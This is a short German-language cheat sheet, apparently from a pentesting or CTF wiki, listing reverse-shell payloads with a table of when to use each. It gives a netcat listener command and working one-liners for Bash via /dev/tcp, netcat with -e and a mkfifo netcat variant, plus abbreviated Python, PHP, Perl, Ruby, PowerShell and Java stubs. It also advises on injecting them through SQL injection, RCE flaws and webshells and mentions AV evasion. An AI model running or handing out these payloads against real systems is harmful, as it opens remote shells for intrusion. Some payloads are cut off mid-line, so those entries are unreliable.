Reverse Shells

Listener starten

ncat -lvp <PORT>

Auto-generated shells

Shell Typen

Shell-Typ
Beispiel (Payload)
Interaktiv
TTY Upgrade möglich
Voraussetzungen
Vorteile
Wann verwenden?
Wann sinnvoll? (Begründung)

Bash

bash -i >& /dev/tcp/HOST/PORT 0>&1

Nein

Ja

Bash + /dev/tcp Support

Schnell, direkt, ohne externe Tools

Standard auf Linux-Systemen

Wenn Bash vorhanden ist und du direkten Zugriff hast – ideal für schnelle Tests.

Bash (kompakt)

bash -c "bash -i >& /dev/tcp/HOST/PORT 0>&1"

Nein

Ja

Bash

Einzeilig, Exploit-kompatibel

Bei Exploits, Webanfragen, SQLi, RCEs

Wenn du nur ein Kommando injizieren kannst (z. B. bei sqlmap --os-cmd).

Netcat (mit -e)

nc -e /bin/bash HOST PORT

Ja

Teilweise

Ältere Netcat-Version

Interaktiv direkt aus der Box

Alte Systeme, embedded Geräte

Wenn keine Filter aktiv sind und nc -e verfügbar ist – schnell und simpel.

Netcat (ohne -e)

`mkfifo f; cat f

sh -i 2>&1

nc HOST PORT > f`

Nein

Ja

Netcat + FIFO (mkfifo)

Umgehung ohne -e

Python

python -c 'import pty; socket...os.dup2()...'

Nein

Ja

Python 2/3

Sehr stabil, viele Zusatzfunktionen

Moderne Linux-Systeme mit Python

Wenn Bash fehlt oder du gleichzeitig TTY-Spawn möchtest – sehr stabil und skriptbar.

PHP

php -r '$sock=fsockopen(...)'

Nein

Ja (indirekt)

PHP CLI oder WebShell

Web-fähig, kompakt

Webshells, eval()-Lücken, CMS-Exploits

Wenn du bereits Code Execution via Web hast – oft bei CTF-Web-Challenges.

Perl

perl -e 'use Socket;...'

Nein

Ja (manuell)

Perl

Meist vorhanden auf älteren Systemen

Legacy-Systeme, sehr eingeschränkte Hosts

Wenn keine andere Sprache vorhanden ist – funktioniert oft dort, wo Python fehlt.

Ruby

ruby -rsocket -e ...

Nein

Selten

Ruby

Selten verwendet

Entwicklerumgebungen mit Ruby

Seltene Alternative, lohnt sich nur bei Ruby-Installationen ohne Python/Bash.

PowerShell

powershell -nop -c "$client = New-Object..."

Ja

Windows-spezifisch

Windows mit PowerShell

Vollständig interaktiv

Windows Pentests, Client Exploits

Standard für Windows-Ziele – funktioniert fast immer, auch bei AV-Evasion möglich.

Java

Eigenbau (Socket + ProcessBuilder)

Nein

Nein

Java Runtime

Theoretisch portabel, selten praktisch

Selten sinnvoll, sehr umständlich

Nur wenn du bereits Java Execution hast, aber kein Upload oder Shell-Script nutzen kannst.

Last updated